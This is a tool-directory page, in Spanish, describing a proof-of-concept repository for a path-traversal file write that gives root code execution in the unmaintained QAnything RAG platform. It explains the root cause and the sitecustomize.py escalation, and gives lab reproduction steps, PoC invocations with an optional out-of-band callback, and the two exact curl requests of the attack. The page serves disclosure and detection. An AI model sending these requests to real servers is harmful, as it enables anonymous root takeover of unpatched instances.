Skip to content
KitploitKITPLOIT
HerramientasExploitsBlog
Log in
Enviar
HerramientasExploitsBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

FeedsContactoPrivacidad© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-88533 — PoC y reproducción en laboratorio para CVE-2026-88533, una escritura arbitraria de archivos sin autenticación que conduce a RCE como root en QAnything mediante path traversal en el endpoint de carga. | Kitploit
Herramientas/GitHubGitHub/hemlock-lyk/cve-2026-88533
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebSeguridad WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubhemlock-lyk/cve-2026-88533

CVE-2026-88533

PoC y reproducción en laboratorio para CVE-2026-88533, una escritura arbitraria de archivos sin autenticación que conduce a RCE como root en QAnything mediante path traversal en el endpoint de carga.

Ver Repositorio
26hace 20 díasAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

CVE-2026-88533: Escritura Arbitraria de Archivos No Autenticada → RCE como Root en QAnything

ID de CVE: CVE-2026-88533 (asignado por MITRE, publicación del registro pendiente) Producto: QAnything de netease-youdao — plataforma de código abierto de RAG / QA sobre bases de conocimiento Afectado: v1.4.x hasta v2.0.0 (rama por defecto qanything-v2, hasta el commit final 65de104) Versión corregida: ninguna — proyecto sin mantenimiento desde 2025-03-12; la única corrección de saneamiento (PR #483) reside en la rama heredada master y nunca se fusionó en qanything-v2 Debilidad: CWE-22 Path Traversal Impacto: Creación arbitraria de archivos no autenticada → Ejecución Remota de Código como uid=0(root) Descubridor: Yankui Li


Resumen

El endpoint de carga de archivos POST /api/local_doc_qa/upload_files toma el filename multipart controlado por el atacante y lo utiliza como ruta de destino sin sanear los separadores de ruta. urllib.parse.unquote() expande %2f de vuelta a /, el filtrado de caracteres de ancho completo y el truncamiento por longitud dejan intactos ../ y las rutas absolutas, y os.path.join(base, name) descarta la base por completo cuando name es absoluto. El consiguiente open(file_location, "wb") escribe contenido controlado por el atacante en cualquier lugar al que el proceso pueda acceder — dentro de un contenedor root por defecto.

Dado que el producto no requiere autenticación en ningún punto (user_id/user_info son simples parámetros de la petición), cualquier instancia accesible por red acepta esto de forma anónima.

Causa raíz

handler.py :: upload_files
    file.name  ──►  urllib.parse.unquote()          # %2f → "/"
              ──►  full-width char filter           # cosmetic only
              ──►  truncate_filename()              # length cap, no "/" or ".." filtering

core/local_file.py :: LocalFile.__init__
    file_location = os.path.join(file_dir, file_name)   # absolute name → base discarded
    open(file_location, "wb")                           # arbitrary write

Dos propiedades hacen que esto sea explotable de forma fiable:

  1. Las rutas absolutas funcionan directamente — no se necesita contar ../.
  2. El recorrido relativo también funciona — %2e%2e%2f sobrevive porque unquote se ejecuta antes de cualquier filtro.

Un contraste de endurecimiento dentro del mismo código base: el endpoint upload_faqs reemplaza / por _ en los nombres de archivo. upload_files nunca recibió ese tratamiento, lo que lo convierte en el único vector de escritura.

Nota: LocalFile.__init__ tiene una guarda if not os.path.exists(file_location), por lo que solo se pueden crear archivos nuevos — los archivos existentes no pueden sobrescribirse. Por lo tanto, la explotación se dirige a archivos nuevos en ubicaciones ejecutables.

De escritura arbitraria a RCE como root

La imagen oficial de Docker ejecuta el backend de Python como root. CPython importa automáticamente sitecustomize.py desde site-packages al iniciar el intérprete — un archivo nuevo colocado en:

usr/local/lib/python3.10/site-packages/sitecustomize.py

(7×../ relativo, o ruta absoluta) se importa la próxima vez que arranca el backend, ejecutando código del atacante como uid=0(root).

¿Por qué site-packages y no el directorio de la aplicación? CPython ejecuta site.py antes de insertar sys.path[0], por lo que un sitecustomize.py junto al script de entrada no se autoimporta. site-packages es la única zona de colocación fiable.

Otros vectores fueron probados y descartados (documentados para completitud):

  • /etc/cron.d/ — el directorio existe y acepta escrituras, pero la imagen no incluye ningún demonio cron, por lo que nada ejecuta nunca el payload.
  • Sobrescribir archivos de configuración/código existentes — bloqueado por la guarda de existencia.

Reproducción en laboratorio

Imagen oficial + código fuente vulnerable fijado (commit 65de104):

git clone <this-repo> && cd CVE-2026-88533
git clone https://github.com/netease-youdao/QAnything
cd QAnything && git checkout 65de104 && cd ..
docker compose -f docker-compose-lab.yaml up -d
# wait for the backend:
curl http://127.0.0.1:8777/api/health_check

Uso del PoC (cero dependencias, solo la stdlib de Python 3)

El script PoC se incluye en este repositorio (poc_qanything_cve_2026_88533.py) — cada elemento de evidencia a continuación fue producido ejecutándolo contra el stack de laboratorio anterior. Clona y reproduce la salida exacta tú mismo:

# Step 1 — write primitive (harmless): marker written to /tmp inside the
# container via absolute-path multipart filename, then read back as proof
python poc_qanything_cve_2026_88533.py --mode check --container qanything-container-local

# Step 2 — full chain (LAB ONLY): sitecustomize.py into site-packages,
# container restart, code execution proven as uid=0(root)
python poc_qanything_cve_2026_88533.py --mode full --container qanything-container-local

# Optional out-of-band callback for network-level proof:
#   ... --mode full --oob http://your-oob-endpoint/cb

--mode full reinicia el contenedor objetivo una vez (comportamiento documentado; la importación de CPython se dispara al arrancar). Todo se distribuye seguro por defecto: sin reverse shell, sin payload destructivo — el payload de demostración escribe un archivo marcador que contiene la salida de id.

Cómo se ve el tráfico del ataque

Todo el ataque son dos POST HTTP; esto es con lo que el contenido de detección debería coincidir (el filename multipart que lleva una ruta absoluta o secuencias ..//%2f es la señal clave):

# 1) anonymous knowledge base
curl -s -X POST http://TARGET:8777/api/local_doc_qa/new_knowledge_base \
  -H "Content-Type: application/json" \
  -d '{"user_id":"anyuser","user_info":"1234","kb_id":"KBattacker1","kb_name":"x"}'

# 2) upload: the filename IS the destination path (absolute path also works)
curl -s -X POST http://TARGET:8777/api/local_doc_qa/upload_files \
  -F "user_id=anyuser" -F "kb_id=KBattacker1" -F "mode=strong" \
  -F '[email protected];filename=../../../../../../../usr/local/lib/python3.10/site-packages/sitecustomize.py'

Evidencia

Toda la evidencia a continuación es la salida real de terminal de poc_qanything_cve_2026_88533.py (el script de este repositorio) ejecutado contra el stack de laboratorio construido a partir de docker-compose-lab.yaml. Ningún paso fue falsificado ni simulado — el script sale con código distinto de cero a menos que todas las comprobaciones pasen, por lo que puedes verificar la cadena de extremo a extremo tú mismo.

Stack de laboratorio — imagen oficial + dependencias mínimas, todos los contenedores saludables:

Lab stack

--mode check — primitiva de escritura no autenticada confirmada: el marcador fue escrito fuera del directorio de carga mediante un nombre de archivo multipart con ruta absoluta y leído de vuelta desde dentro del contenedor:

Check mode

--mode full — tras el reinicio del contenedor, CPython autoimporta el sitecustomize.py plantado; el marcador del payload demuestra la ejecución como uid=0(root):

Full chain

Descargar herramienta